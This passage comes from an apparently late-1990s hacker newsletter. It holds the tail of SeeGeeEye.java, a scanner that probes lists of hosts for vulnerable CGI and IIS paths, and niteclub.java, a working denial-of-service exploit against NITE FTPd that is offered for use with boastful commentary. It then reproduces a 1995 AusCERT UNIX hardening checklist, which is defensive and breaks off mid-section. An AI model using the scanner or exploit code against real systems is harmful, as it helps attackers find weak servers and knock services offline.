"cgi-bin/survey.cgi", "cgi-bin/classifieds.cgi", "cgi-bin/AnyForm2", "cgi-bin/AT-admin.cgi", "cgi-bin/unlg1.1", "cgi-bin/filemail.pl", "cgi-bin/maillist.pl", "cgi-bin/jj", "cgi-bin/files.pl", "cgi-dos/args.bat", "cgi-win/uploader.exe", "search97.vts", "config/import.txt", "config/checks.txt", "orders/import.txt", "orders/checks.txt", "cgi-bin/rwwwshell.pl", "cgi-bin/faxsurvey", "cgi-bin/view-source", "cgi-bin/glimpse", "cgi-bin/cgiwrap", "cgi-bin/guestbook.cgi", "cgi-bin/edit.pl", "cgi-bin/perlshop.cgi", "_vti_inf.html", "_vti_bin/shtml.dll", "_vti_bin/shtml.exe", "cgi-bin/rguest.exe", "cgi-bin/wguest.exe", "scripts/iisadmin/bdir.htr", "scripts/tools/newdsn.exe", "scripts/fpcount.exe", "iissamples/exair/howitworks/codebrws.asp", "iissamples/sdk/asp/docs/codebrws.asp", "msads/Samples/SELECTOR/showcode.asp", "carbo.dll", "cgi-bin/dbmlparser.exe", "cgi-bin/flexform.cgi", "cgi-bin/bnbform.cgi", "cgi-bin/responder.cgi", "cgi-bin/whois_raw.cgi", "iisadmpwd/achg.htr", "iisadmpwd/aexp.htr", "iisadmpwd/aexp2.htr", "iisadmpwd/aexp2b.htr", "iisadmpwd/aexp3.htr", "iisadmpwd/aexp4.htr", "iisadmpwd/aexp4b.htr", "iisadmpwd/anot.htr", "iisadmpwd/anot3.htr", // Is this right or is it CGImail.exe? :-/ "scripts/cgimail.exe", "cgi-bin/day5datacopier.cgi", "cgi-bin/day5datanotifier.cgi", "cgi-bin/gH.cgi" }; System.out.print("SeeGeeEye.java v1.3 by Wyzewun [KRS] loaded.\n\n"); while ((victim = heh.readLine()) != null) { for (int i = 0; i < vulns.length; i++) { bother = true; try { bastich = new URL("http://" + victim + "/" + vulns[i]); een = new BufferedReader(new InputStreamReader(bastich.openStream())); } catch (Exception e) { bother = false; i = vulns.length; } if (bother) { try { response = een.readLine(); if ((Integer.parseInt(String.valueOf(response.charAt(9)))) == 2) System.out.println("Found /" + vulns[i] + " on " + victim); een.close(); } catch (Exception e) { } } } } System.out.println("\nAll hosts in " + args[0] + " scanned."); } } @HWA 40.0 NiteClub.JAVA by KeyRoot ~~~~~~~~~~~~~~~~~~~~~~~~ NOTE: A class file is needed with this JAVA, which should be included in your .zip version of this newsletter. /* ____ ______ __ ___ _____ ____ __________ * / / / ___/ \ \/ / / \ / \ ____ /___ ___/ * / /__ / /__ \ / / <> / / __ \ / \ / / * / ___/ / __/ / / / _/ \ / / __ \ / / * / \ / /__ / / / /\ \ \____/ \ / \ \ * /__/\__\ \_____/ /__/ \_/ \__\ \____/ \__\ * * Proudly Presents: niteclub.java * Coded By: Wyzewun [w1@antioffline.com] * * Unreleased Denial of Service Attack -- Here for the first time publically * in HWA.hax0r.news =) * * Yet ANOTHER way to kill NITE FTPd. Tested on version 1.051b and assumed to * work on all prior versions as well. *Sigh* Well, this is what happens when * you code your software in Visual Basic. :P Anyway, this code will actually * take the daemon out completely, instead of only stopping it from responding * while the attack is running like in nitestick.java by me. Also, unlike * nitestick, this code will have no adverse effect on Windows - it will * simply make the daemon die with the following obituary... * * Run-time error '-2147024882 (8007000e)': * Out of memory * * Shout outz to: Pneuma, Vortexia, Mnemonic, icesk, NtWaK0, Moe1, Cruciphux, * egodeath, Timewiz, jus, f0bic, CoLdBLood and everyone in #!krs, #overflo, * #b4b0, #legions and #hwa.hax0r.news on EFNet - Keep it Real. :) * * And disses go out to the usual: Every dumb defacement crew that plagues our * earth, every luzer that thinks Denial of Service is elite, and everybody * who has never experienced the joys of MDMA. :D * */ import java.io.*; import java.net.*; public class niteclub { public static void main(String[] args) throws IOException { Socket evilSocket = null; PrintWriter out = null; boolean dead = false; if (args.length != 1) { System.out.println("Syntax: java niteclub [hostname]"); System.exit(0); } // Shameless Self-Glorification Banner :-/ System.out.print("niteclub.java by wyze1\n\n"); try { evilSocket = new Socket(args[0], 21); out = new PrintWriter(evilSocket.getOutputStream(), true); } catch (UnknownHostException e) { System.out.println("Hostname lookup for " + args[0] + " failed."); System.exit(1); } catch (IOException e) { System.out.println("I/O Error"); System.exit(1); } out.println("USER anonymous"); out.println("PASS get-ready-to-die-bitch"); System.out.print("Connected to " + args[0] + " - Launching attack..."); for (int x = 0; x < 1000; x++) out.println("USER KeyRoot-0wnz-You"); System.out.println(" uNf! Bitch went down! :)"); } } @HWA 41.0 The securing UNIX checklist circa 1995 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Anyone have an update of this phile? send it via email attachment plz or msg me the url... tnx. http://www.felons.org/pub/security/ -----BEGIN PGP SIGNED MESSAGE----- ============================================================================== UNIX Computer Security Checklist (Version 1.1) Last Update 19-Dec-1995 ============================================================================== The Australian Computer Emergency Response Team has developed a checklist which assists in removing common and known security vulnerabilities under the UNIX Operating System. It is based around recently discovered security vulnerabilities and other checklists which are readily available (see references in Appendix C). This document can be retrieved via anonymous ftp from: ftp://ftp.auscert.org.au/pub/auscert/papers/unix_security_checklist For information about detecting or recovering from an intrusion, see the CERT security information document which can be retrieved via anonymous ftp from: ftp://ftp.auscert.org.au/pub/cert/tech_tips/security_info It is AUSCERT's intention to continue to update this checklist. Any comments should be directed via email to auscert@auscert.org.au. Before using this document, ensure you have the latest version. New versions of this checklist will be placed in the same area on the ftp server and should be checked for periodically. In order to make effective use of this checklist, readers will need to have a good grasp of basic UNIX system administration concepts. Refer to C.9 and C.10 for books on UNIX system administration. If possible, apply this checklist to a system before attaching it to a network. In addition, we recommend that you use the checklist on a regular basis as well as after you install any patches or new versions of the operating system, with consideration given to the appropriateness of each action to your particular situation. Command examples have been supplied for BSD-like and SVR4-like systems (see Appendix F for operating system details and Appendix G for command details). Full directory paths and program options may vary for different flavours of UNIX. If in doubt, consult your vendor documentation. For ease of use, the checklist has been organised into separate, logically cohesive sections. All sections are important. An abbreviated version of this checklist can be found in Appendix D. CHECKLIST INDEX: 1.0 Patches 2.0 Network security 3.0 ftpd and anonymous ftp 4.0 Password and account security 5.0 File system security 6.0 Vendor operating system specific security 7.0 Security and the X Window System APPENDICES: Appendix A Other AUSCERT information sources Appendix B Useful security tools Appendix C References Appendix D Abbreviated Checklist Appendix E Shell Scripts Appendix F Table of operating systems by flavour Appendix G List of commands by flavour Any trademarks which appear in this document are registered to their respective owners. ============================================================================== 1.0 Patches ============================================================================== * Retrieve the latest patch list from your vendor and install any patches not yet installed that are recommended for your system. Some patches may re-enable default configurations. For this reason, it is important to go through this checklist AFTER installing ANY new patches or packages. * Details on obtaining patches may be found in Section 6. * Verify the digital signature of any signed files. Tools like PGP may be used to sign files and to verify those signatures. (Refer to B.15 for PGP access information). * If no digital signature is supplied but an md5(1) checksum is supplied, then verify the checksum information to confirm that you have retrieved a valid copy. (Refer to B.10 for MD5 access information). * If only a generic sum(1) checksum is provided, then check that. Be aware that the sum(1) checksum should not be considered secure. ============================================================================== 2.0 Network security ============================================================================== The following is a list of features that can be used to help prevent attacks from external sources. 2.1 Filtering * ENSURE that ONLY those services which are required from outside your domain are allowed through your router filters. In particular, if the following are not required outside your domain, then filter them out at the router. NAME PORT PROTOCOL NAME PORT PROTOCOL echo 7 TCP/UDP login 513 TCP systat 11 TCP shell 514 TCP netstat 15 TCP printer 515 TCP bootp 67 UDP biff 512 UDP tftp 69 UDP who 513 UDP link 87 TCP syslog 514 UDP supdup 95 TCP uucp 540 TCP sunrpc 111 TCP/UDP route 520 UDP NeWS 144 TCP openwin 2000 TCP snmp 161 UDP NFS 2049 UDP/TCP xdmcp 177 UDP X11 6000 to 6000+n TCP exec 512 TCP (where n is the maximum number of X servers you will have) Note: Any UDP service that replies to an incoming packet may be subject to a denial of service attack. See CERT advisory CA-95.01 (C.8) for more details. Filtering is difficult to implement correctly. For information on packet filtering, please see Firewalls and Internet Security (C.6) and Building Internet Firewalls (C.7). 2.2 "r" commands 2.2.1 If you don't NEED to use the "r" commands... * DO disable all "r" commands (rlogin, rsh etc.) unless specifically required. This may increase your risk of password exposure in network sniffer attacks, but "r" commands have been a regular source of insecurities and attacks. Disabling them is by far the lesser of the two evils (see 2.9.1). 2.2.2 If you must run the "r" commands... * DO use more secure versions of the "r" commands for cases where there is a specific need. Wietse Venema's logdaemon package contains a more secure version of the "r" command daemons. These versions can be configured to consult only /etc/hosts.equiv and not $HOME/.rhosts. There is also an option to disable the use of wildcards ('+'). Refer to B.13 for access information for the logdaemon package * DO filter ports 512,513 and 514 (TCP) at the router if you do use any of the "r" commands. This will stop people outside your domain from exploiting these commands but will not stop people inside your domain. To do this you will need to disable these commands (see 2.2.1). * DO use tcp_wrappers to provide greater access and logging on these network services (see 2.12). 2.3 /etc/hosts.equiv 2.3.1 It is recommended that the following action be taken whether or not the "r" commands are in use on your system. * CHECK if the file /etc/hosts.equiv is required. If you are running "r" commands, this file allows other hosts to be trusted by your system. Programs such as rlogin can then be used to log on to the same account name on your machine from a trusted machine without supplying a password. If you are not running "r" commands or you do not wish to explicitly trust other systems, you should have no use for this file and it should be removed. If it does not exist, it cannot cause you any problems if any of the "r" commands are accidentally re-enabled. 2.3.2 If you must have a /etc/hosts.equiv file * ENSURE that you keep only a small number of TRUSTED hosts listed. * DO use netgroups for easier management if you run NIS (also known as YP) or NIS+. * DO only trust hosts within your domain or under your management. * ENSURE that you use fully qualified hostnames, i.e., hostname.domainname.au * ENSURE that you do NOT have a '+' entry by itself anywhere in the file as this may allow any user access to the system. * ENSURE that you do not use '!' or '#' in this file. There is no comment character for this file. * ENSURE that the first character of the file is not '-'. Refer to the CERT advisory CA-91:12 (C.8). * ENSURE that the permissions are set to 600. * ENSURE that the owner is set to root. * CHECK it again after each patch or operating system installation. 2.4 /etc/netgroup * If you are using NIS (YP) or NIS+, DO define each netgroup to contain only usernames or only hostnames. All utilities parse /etc/netgroup for either hosts or usernames, but never both. Using separate netgroups makes it easier to remember the function of each netgroup. The added time required to administer these extra netgroups is a small cost in ensuring that strange permission combinations have not left your machine in an insecure state. Refer to the manual pages for more information. 2.5 $HOME/.rhosts 2.5.1 It is recommended that the following action be taken whether or not the "r" commands are in use on your system. * ENSURE that no user has a .rhosts file in their home directory. They pose a greater security risk than /etc/hosts.equiv, as one can be created by each user. There are some genuine needs for these files, so hear each one on a case-by-case basis; e.g., running backups over a network unattended. * DO use cron to periodically check for, report the contents of and delete $HOME/.rhosts files. Users should be made aware that you regularly perform this type of audit, as directed by policy. 2.5.2 If you must have such a file * ENSURE the first character of the file is not '-'. Refer to the CERT advisory CA-91:12 (C.8). * ENSURE that the permissions are set to 600. * ENSURE that the owner of the file is the account's owner. * ENSURE that the file does NOT contain the symbol "+" on any line as this may allow any user access to this account. * ENSURE that usage of netgroups within .rhosts does not allow unintended access to this account. * ENSURE that you do not use '!' or '#' in this file. There is no comment character for this file. * REMEMBER that you can also use logdaemon to restrict the use of $HOME/.rhosts (see 2.2.2). 2.6 NFS When using NFS, you implicitly trust the security of the NFS server to maintain the integrity of the mounted files. * DO filter NFS traffic at the router. Filter TCP/UDP on port 111 TCP/UDP on port 2049 This will prevent machines not on your subnet from accessing file systems exported by your machines. * DO apply all available patches. NFS has had a number of security vulnerabilities. * DO disable NFS if you do not need it. See your vendor supplied documentation for detailed instructions. * DO enable NFS port monitoring. Calls to mount a file system will then be accepted from ports < 1024 only. This will provide added security in some circumstances. See your vendor's documentation to determine whether this is an option for your version of UNIX (see also 6.1.8 and 6.2.4). * DO use /etc/exports or /etc/dfs/dfstab to export ONLY the file systems you need to export. If you aren't certain that a file system needs to be exported, then it probably shouldn't be exported. * DO NOT self-reference an NFS server in its own exports file. i.e., The exports file should not export the NFS server to itself in part or in total. In particular, ensure the NFS server is not contained in any netgroups listed in its exports file. * DO NOT allow the exports file to contain a 'localhost' entry. * DO export to fully qualified hostnames only. i.e., Use the full machine address 'machinename.domainname.au' and do not abbreviate it to 'machinename'. * ENSURE that export lists do not exceed 256 characters. If you have access lists of hosts within /etc/exports, the list should not exceed 256 characters AFTER any host name aliases have been expanded. Refer to the CERT Advisory CA-94:02 (C.8). * DO run fsirand for all your file systems and rerun it periodically. Firstly, ensure that you have installed any patches for fsirand. Then ensure the file system is unmounted and run fsirand. Predictable file handles assist crackers in abusing NFS. * ENSURE that you never export file systems unintentionally to the world. Use a -access=host.domainname.au option or equivalent in /etc/exports. See the manual page for "exports" or "dfstab" for further examples. * DO export file systems read-only (-ro) whenever possible. See the manual page for "exports" or "dfstab" for more information. * If NIS is required in your situation, then DO use the secure option in the exports file and mount requests (if the secure option is available). * DO use showmount -e to see what you currently have exported. * ENSURE that the permissions of /etc/exports are set to 644. * ENSURE that /etc/exports is owned by root. * ENSURE that you run a portmapper or rpcbind that does not forward mount requests from clients. A malicious NFS client can ask the server's portmapper daemon to forward requests to the mount daemon. The mount daemon processes the request as if it came directly from the portmapper. If the file system is self-mounted this gives the client unauthorised permissions to the file system. Refer to section B.14 for how to obtain an alternate portmapper or rpcbind that disallow proxy access. Refer to the CERT Advisory 94:15 (C.8). * REMEMBER that changes in /etc/exports will take effect only after you run /usr/etc/exportfs or equivalent. Note: A "web of trust" is created between hosts connected to each other via NFS. That is, you are trusting the security of any NFS server you use. 2.7 /etc/hosts.lpd * ENSURE that the first character of the file is not '-'. (Refer to the CERT advisory CA-91:12 (see C.8)). * ENSURE that the permissions on this file are set to 600. * ENSURE that the owner is set to root. * ENSURE that you do not use '!' or '#' in this file. There is no comment character for this file. 2.8 Secure terminals * This file may be called /etc/ttys, /etc/default/login or /etc/security. See the manual pages for file format and usage information. * ENSURE that the secure option is removed from all entries that don't need root login capabilities. The secure option should be removed from console if you do not want users to be able to reboot in single user mode. Note: This does not affect usability of the su(1) command. * ENSURE that this file is owned by root. * ENSURE that the permissions on this file are 644. 2.9 Network services 2.9.1 /etc/inetd.conf * ENSURE that the permissions on this file are set to 600. * ENSURE that the owner is root. * DO disable any services which you do not require. - To do this we suggest that you comment out ALL services by placing a "#" at the beginning of each line. Then enable the ones you NEED by removing the "#" from the beginning of the line. In particular, it is best to avoid "r" commands and tftp, as they have been major sources of insecurities. - For changes to take effect, you need to restart the inetd process. Do this by issuing the commands in G.1. For some systems (including AIX), these commands are not sufficient. Refer to vendor documentation for more information. 2.9.2 Portmapper * DO disable any non-required services that are started up in the system startup procedures and register with the portmapper. See G.2 for a command to help check for registered services. 2.10 Trivial ftp (tftp) * If tftp is not needed, comment it out from the file /etc/inetd.conf and restart the inetd process (as above). * If required, read the AUSCERT Advisory SA-93:05 (see A.1) and follow the recommendations. 2.11 /etc/services * ENSURE that the permissions on this file are set to 644. * ENSURE that the owner is root. 2.12 tcp_wrapper (also known as log_tcp) * ENSURE that you are using this package. - Customise and install it for your system. - Enable PARANOID mode - Consider running with the RFC931 option - Deny all hosts by putting "all:all" in /etc/hosts.deny and explicitly list trusted hosts who are allowed access to your machine in /etc/hosts.allow. - See the documentation supplied with this package for details about how to do the above. * DO wrap all TCP services that you have enabled in /etc/inetd.conf * DO consider wrapping any udp services you have enabled. If you wrap them, then you will have to use the nowait option in the /etc/inetd.conf file. * See section B.4 for instructions to obtain tcp_wrapper. 2.13 /etc/aliases * Comment out the "decode" alias by placing a "#" at the beginning of the line. For this change to take effect you will need to run /usr/bin/newaliases. If you run NIS (YP), you will then need to rebuild your maps (see G.3). * ENSURE that all programs executable by an alias are owned by root, have permissions 755 and are stored in a systems directory e.g., /usr/local/bin. If smrsh is in use, program execution may be further restricted. Refer to the smrsh documentation for more details (see B.9). 2.14 Sendmail * DO use the latest version of Eric Allman's sendmail 8.x (currently 8.7.3), as it currently contains no KNOWN vulnerabilities. The latest version is available via anonymous FTP from: ftp://ftp.auscert.org.au/pub/mirrors/ftp.cs.berkeley.edu /ucb/sendmail NOTE: If you don't already run Eric Allman's sendmail.8.7.*, then it may take you some time to build, install, and configure the system to your needs. Other sendmail(8) configuration files may not be compatible with sendmail(8) 8.7.x. There is some help available for converting from SUN's sendmail: bundled with the distribution of sendmail(8) v8.7.x is a document on converting standard SUN configuration files to sendmail(8) v8.*. This is located in the distribution, in the file: contrib/converting.sun.configs * If you use a vendor version of sendmail, ENSURE that you have installed the latest patches as sendmail(8) has been a source of a number of security vulnerabilities. Refer to AUSCERT Advisories SA-93:10, AA-95.08 and AA-95.09b (A.1) and CERT Advisories CA-94:12, CA-95:05 and CA-95:08 (C.8). * If you require progmailer functionality then DO use smrsh (see B.9). * If you do not require progmailer functionality then DO disable mail to programs by setting this field to /bin/false in the sendmail configuration file. * ENSURE that your version of sendmail does not have the wizard password enabled (see G.4). ENSURE that if you have a line starting with "OW" in /etc/sendmail.cf, it only has a "*" next to it. * DO increase sendmail(8) logging to a minimum log level of 9. This will help detect attempted exploitation of the sendmail(8) vulnerabilities. See G.5 for example commands. * DO increase the level of logging provided by syslog. Enable a minimum level of "info" for mail messages to be logged to the console and/or the syslog file. See G.6 for example code and instructions. * REMEMBER that you will need to restart sendmail for any changes to take effect. If you are running a frozen configuration file (sendmail.fc), you will need to rebuild it before restarting sendmail(8) (see G.7). 2.15 majordomo * ENSURE that your version is greater than 1.91. See AUSCERT Advisory SA-94.03 (see A.1) for more details. 2.16 fingerd * If your version of fingerd is older than than 5 November 1988, DO replace it with a newer version. * Finger can provide a would-be intruder with a lot of information about your host. CONSIDER the finger information you provide and think about reducing the content by disabling finger or by replacing it with a version that only offers restricted information. NOTE: other services such as rusers and netstat may give out similar information. * DO NOT use GNU finger v1.37 as it may allow intruders to read any file. 2.17 UUCP * DO disable the uucp account, including the shell that it executes for logging in, if it is not used at your site. uucp may be shipped in a dangerous state. * REMOVE any .rhosts file at the uucp home directory. * ENSURE that the file L.cmds is owned by root. * ENSURE that no uucp owned files or directories are world writable. * ENSURE that you have assigned a different uucp login for each site that needs uucp access to your machine. * ENSURE that you have limited the number of commands that each uucp login can execute to a bare minimum. * DO consider deleting the whole uucp subsystem if it is not required. * ENSURE there are no vendor-supplied uucp or root crontab entries. 2.18 REXD * DO disable this service. Comment this out in the inetd.conf file. See section 2.9.1 for details on how to do this. rexd servers have little or no security in their design or implementation. Intruders can exploit this service to execute commands as any user. 2.19 World Wide Web (WWW) - httpd * ENSURE that you are using the most recent version of the http daemon of your choice. * DO run the server daemon httpd as a specially created nonprivileged user such as 'httpd'. This way, if an intruder finds a vulnerability in the server they will only have access privileges for this unprivileged user. * DO NOT run the server daemon as root. * DO NOT run the client processes as root. * DO run httpd in a chroot(1) environment. This sets up an alternate root directory that severely limits access of http clients to the rest of the disk. * For systems which do not have a chroot(1) command, use of chrootuid (see B.16) may be of assistance. * DO carefully go through the configuration options for your server. * DO use the configuration options to give extra protection to sensitive directories by turning off the 'include files' feature. This will disallow files from these directories from being included in HTML documents. * DO use CGIWRAP. (See B.17) * DO NOT run CGI (Common Gateway Interface) scripts if they are not required. * DO be very careful in constructing CGI programs. These programs compute information to be returned to clients and are often driven by input from the remote user who may be hostile. If these programs are not carefully constructed, it may be possible for remote users to subvert them to execute arbitrary commands on the server system. Almost all vulnerabilities arise from these issues. * DO provide CGIs as statically linked binaries rather than as interpreted scripts. This will remove the need for a command interpreter to be available inside the chrooted environment. * ENSURE that the contents, permissions and ownership of files in the cgi-bin directory are what you expect them to be (see your site security policy document for more details). * AVOID passing user input directly to command interpreters such as Perl, AWK, UNIX shells or programs that allow commands to be embedded in outgoing messages such as /usr/ucb/mail * FILTER user input for potentially dangerous characters before it is passed to any command interpreters. Possibly dangerous characters include \n \r (.,/;~!)>|^&$`< . (Refer to the CERT Advisory CA-95:04 (see C.8)). ============================================================================== 3.0 ftpd and anonymous ftp ============================================================================== 3.1 Versions * ENSURE that you are using the most recent version of the ftp daemon of your choice. * DO consider installing the Washington University ftpd if you don't already have it (see B.19). * For BSDI systems, patch 005 should be applied to version 1.1 of the BSD/386 software (see B.20). 3.2 Configuration * CHECK all default configuration options on your ftp server. * ENSURE that your ftp server does not have the SITE EXEC command (see G.8 for command details). * ENSURE that you have set up a file /etc/ftpusers which specifies those users that are NOT allowed to connect to your ftpd. This should include, as a MINIMUM, the entries: root, bin, uucp, ingres, daemon, news, nobody and ALL vendor supplied accounts. 3.3 Anonymous ftp only * To ascertain whether you are running anonymous ftp, try to connect to the localhost using anonymous ftp. Be sure to give an RFC822 compliant username as the password (see G.9). * To disable anonymous ftp, move or delete all files in ~ftp/ and then remove the user ftp from your password file. * If you are running distributed passwords (e.g., NIS, NIS+) then you will need to check the password entries served to your machine as well as those in your local password file. 3.3.1 Configuration of your ftp server * CHECK all default configuration options on your ftp server. Not all versions of ftp are configurable. If you have a configurable version of ftp (e.g., wu-ftp) then make sure that all delete, overwrite, rename, chmod and umask options (there may be others) are NOT allowed for guests and anonymous users. In general, anonymous users should not have any unnecessary privileges. * ENSURE that you DO NOT include a command interpreter (such as a shell or tools like perl) in ~ftp/bin, ~ftp/usr/bin, ~ftp/sbin or similar directory configurations that can be executed by SITE EXEC (Refer to AUSCERT advisory SA-94.01 (see A.1)). * DO NOT keep system commands in ~ftp/bin, ~ftp/usr/bin, ~ftp/sbin or similar directory configurations that can be executed by SITE EXEC. It may be necessary to keep some commands, such as uncompress, in these locations. Consider the inclusion of each command on a case by case basis and be aware that the presence of such commands may make it possible for local users to gain unauthorised access. Be wary of including commands that can execute arbitrary commands. For example, some versions of tar may allow you to execute an arbitrary file. (Refer to AUSCERT advisory SA-94.01 (see A.1)). * ENSURE that you use an invalid password and user shell for the ftp entry in the system password file and the shadow password file (if you have one). It should look something like: ftp:*:400:400:Anonymous FTP:/home/ftp:/bin/false where /home/ftp is the anonymous ftp area. * ENSURE that the permissions of the ftp home directory (~ftp/) are set to 555 (read nowrite execute), owner set to root (NOT ftp). * ENSURE that you DO NOT have a copy of your real /etc/passwd file as ~ftp/etc/passwd. Create one from scratch with permissions 444, owned by root. It should not contain the names of any accounts in your real password file. It should contain only root and ftp. These should be dummy entries with disabled passwords eg: root:*:0:0:Ftp maintainer:: ftp:*:400:400:Anonymous ftp:: The password file is used only to provide uid to username mapping for ls(1) listings. * ENSURE that you DO NOT have a copy of your real /etc/group file as ~ftp/etc/group. Create one from scratch with permissions 444, owned by root. * ENSURE the files ~ftp/.rhosts and ~ftp/.forward do not exist. * DO set the login shell of the ftp account to a non-functional shell such as /bin/false. 3.3.2 Permissions * ENSURE NO files or directories are owned by the ftp account or have the same group as the ftp account. If they are, it may be possible for an intruder to replace them with a trojan version. * ENSURE that the anonymous ftp user cannot create files or directories in ANY directory unless required (see Section 3.3.3). * ENSURE that the anonymous ftp user can only read information in public areas. * ENSURE that the permissions of the ftp home directory (~ftp/) are set to 555 (read nowrite execute), owner set to root (NOT ftp). * ENSURE that the system subdirectories ~ftp/etc and ~ftp/bin have the permissions 111 only, owner set to root. * ENSURE that the permissions of files in ~ftp/bin/* have the permissions 111 only, owner set to root. * ENSURE that the permissions of files in ~ftp/etc/* are set to 444, owner set to root. * ENSURE that there is a mail alias for ftp to avoid mail bounces. * ENSURE /usr/spool/mail/ftp is owned by root with permissions 400. 3.3.3 Writable directories * ENSURE that you don't have any writable directories. It is safest not to have any writable directories. If you do have any, we recommend that you limit the number to one. * ENSURE that writable directories are not also readable. Directories that are both writable and readable may be used in an unauthorised manner. * ENSURE that any writable directories are owned by root and have permissions 1733. * DO put writable directories on a separate partition if possible. This will help to prevent denial of service attacks. * DO read Anonymous FTP Configuration Guidelines (see B.21). 3.3.4 Disk mounting * NEVER mount disks from other machines to the ~ftp hierarchy unless they are set read-only in the mount command. ============================================================================== 4.0 Password and account security ============================================================================== This section of the checklist can be incorporated as part of a password and account usage policy. 4.1 Policy * ENSURE that you have a password policy for your site. See the AUSCERT Advisory SA-93.04 (see A.1). * ENSURE you have a User Registration Form for each user on each system. Make sure that this form includes a section that the intending applicant signs, stating that they have read your account usage policy and what the consequences are if they misuse their account. 4.2 Proactive Checking * DO use anlpasswd to proactively screen passwords as they are entered. This program runs a series of checks on passwords when they are set, which assists in avoiding poor passwords. It works with normal, shadow and NIS (or yp) password systems. (Refer to section B.3 for how to obtain it). * DO check passwords periodically with Crack. (Refer to section B.1 for how to obtain Crack). * DO apply password ageing (if possible). 4.3 NIS, NIS+ and /etc/passwd entries * DO NOT run NIS or NIS+ if you don't really need it. * If NIS functionality is required, DO use NIS+ if possible. * ENSURE that the only machines that have a '+' entry in the /etc/passwd files are NIS (YP) clients; i.e., NOT the NIS master server! There appears to be conflicting documentation and implementations regarding the '+' entry format and so a generic solution is not available here. It would be best to consult your vendor's documentation. Some of the available documentation suggests placing a '*' in the password field, which is NOT consistent across all implementations of NIS. We recommend testing your systems on a case-by-case basis to see if they correctly implement the '*' in the password field. See G.10 for instructions. * ENSURE that /etc/rc.local or the equivalent startup procedure is set up to start ypbind with the -s option. This may not be applicable on all systems. Check your documentation. * DO use secure RPC. 4.4 Password shadowing * DO enable vendor supplied password shadowing or a third party product. Password shadowing restricts access to users' encrypted passwords. * DO periodically audit your password and shadow password files for unauthorised additions or inconsistencies. 4.5 Administration * ENSURE that you regularly audit your system for dormant accounts and disable any that have not been used for a specified period, say 3 months. Send out account renewal notices by post and delete any accounts of users that do not reply. [NOTE: Do not email renewal notices because any accounts being used illegitimately will reply as expected and hence will not be discovered] * ENSURE that all accounts have passwords. Check shadow or NIS passwords too, if you have them. i.e., the password field is not empty. * ENSURE that any user area is adequately backed up and archived. * DO regularly monitor logs for successful and unsuccessful su(1) attempts. * DO regularly check for repeated login failures. * DO regularly check for LOGIN REFUSED messages. * Consider quotas on user accounts if you do not have them. * Consider requiring that users physically identify themselves before granting any requests regarding accounts (e.g., before creating a user account). 4.6 Special accounts * ENSURE that there are no shared accounts other than root in accordance with site security policy. i.e., more than one person should not know the password to an account. * Disable guest accounts. Better yet, do not create guest accounts! [NOTE: Some systems come preconfigured with guest accounts] * DO use special groups (such as the "wheel" group under SunOS) to restrict which users can use su to become root. * DISABLE ALL default vendor accounts shipped with the Operating System. This should be checked after each upgrade or installation. * DO Disable accounts that have no password which execute a command, for example "sync". Delete or change ownership of any files owned by these accounts. Ensure that these accounts do not have any cron or at jobs. It is best to remove these accounts entirely. * DO assign non-functional shells (such as /bin/false) to system accounts such as bin and daemon and to the sync account if it is not needed. * DO put system accounts in the /etc/ftpusers file so they cannot use ftp. This should include, as a MINIMUM, the entries: root, bin, uucp, ingres, daemon, news, nobody and ALL vendor supplied accounts. 4.7 Root account * DO restrict the number of people who know the root password. These should be the same users registered with groupid 0 (e.g., wheel group on SunOS). Typically this is limited to at most 3 or 4 people. * DO NOT log in as root over the network, in accordance with site security policy. * DO su from user accounts rather than logging in as root. This provides greater accountability. * ENSURE root does not have a ~/.rhosts file. * ENSURE "." is not in root's search path. * ENSURE root's login files do not source any other files not owned by root or which are group or world writable. * ENSURE root cron job files do not source any other files not owned by root or which are group or world writable. * DO use absolute path names when root. e.g., /bin/su, /bin/find, /bin/passwd. This is to stop the possibility of root accidentally executing a trojan horse. To execute commands in the current directory, root should prefix the command with "./", e.g., ./command. 4.8 .netrc files * DO NOT use .netrc files unless it is absolutely necessary. * If .netrc files must be used, DO NOT store password information in them. 4.9 GCOS field * DO include information in the GCOS field of the password file which can be used to identify your site if the password file is stolen. e.g., joe:*:10:10:Joe Bloggs, Organisation X:/home/joe:/bin/sh ============================================================================== 5.0 File system security ============================================================================== 5.1 General * ENSURE that there are no .exrc files on your system that have no legitimate purpose. * DO consider using the EXINIT environment variable to disable .exrc file functionality. These files may inadvertently perform commands that may compromise the security of your system if you happen to start either vi(1) or ex(1) in a directory which contains such a file. See G.11 for example commands to find .exrc files. * ENSURE that any .forward files in user home directories do not execute an unauthorised command or program. The mailer may be fooled into allowing a normal user privileged access. Authorised programs may be restricted through use of smrsh (see B.9). See G.12 for example commands to find .forward files. (Refer to AUSCERT Advisory SA-93.10 (see A.1)). 5.2 Startup and shutdown scripts * ENSURE startup and shutdown scripts do not chmod 666 motd. This allows users to change system message for the day. * ENSURE that the line "rm -f /tmp/t1" (or similar) exists in a startup script to clean up the temporary file used to create /etc/motd. This should occur BEFORE the code to startup the local daemons. 5.3 /usr/lib/expreserve * DO replace versions of /usr/lib/expreserve prior to July 1993 with a recommended patch from your vendor. If this is not possible, then remove execute permission on /usr/lib/expreserve (see G.13). This will mean that users who edit their files with either vi(1) or ex(1) and have their sessions interrupted, will not be able to recover their lost work. If you implement the above workaround, please advise your users to regularly save their editing sessions. (Refer to the CERT advisory CA-93:09 for advice on fixing this problem for the SunOS and Solaris environments). 5.4 External file systems/devices * DO mount file systems non-setuid and read-only where practical. (Refer to section 2.6) 5.5 File Permissions * ENSURE that the permissions of /etc/utmp are set to 644. * ENSURE that the permissions of /etc/sm and /etc/sm.bak are set to 2755. * ENSURE that the permissions of /etc/state are set to 644. * ENSURE that the permissions of /etc/motd and /etc/mtab are set to 644. * ENSURE that the permissions of /etc/syslog.pid are set to 644. [NOTE: this may be reset each time you restart syslog.] * DO consider removing read access to files that users do not need to access. * ENSURE that the kernel (e.g., /vmunix) is owned by root, has group set to 0 (wheel on SunOS) and permissions set to 644. * ENSURE that /etc, /usr/etc, /bin, /usr/bin, /sbin, /usr/sbin, /tmp and /var/tmp are owned by root and that the sticky-bit is set on /tmp and on /var/tmp (see G.14). Refer to the AUSCERT Advisory AA-95:05 (see A.1). * ENSURE that there are no unexpected world writable files or directories on your system. See G.15 for example commands to find group and world writable files and directories. * CHECK that files which have the SUID or SGID bit enabled, should have it enabled (see G.16). * ENSURE the umask value for each user is set to something sensible like 027 or 077. (Refer to section E.1 for a shell script to check this). * ENSURE all files in /dev are special files. Special files are identified with a letter in the first position of the permissions bits. See G.17 for a command to find files in /dev which are not special files or directories. Note: Some systems have directories and a shell script in /dev 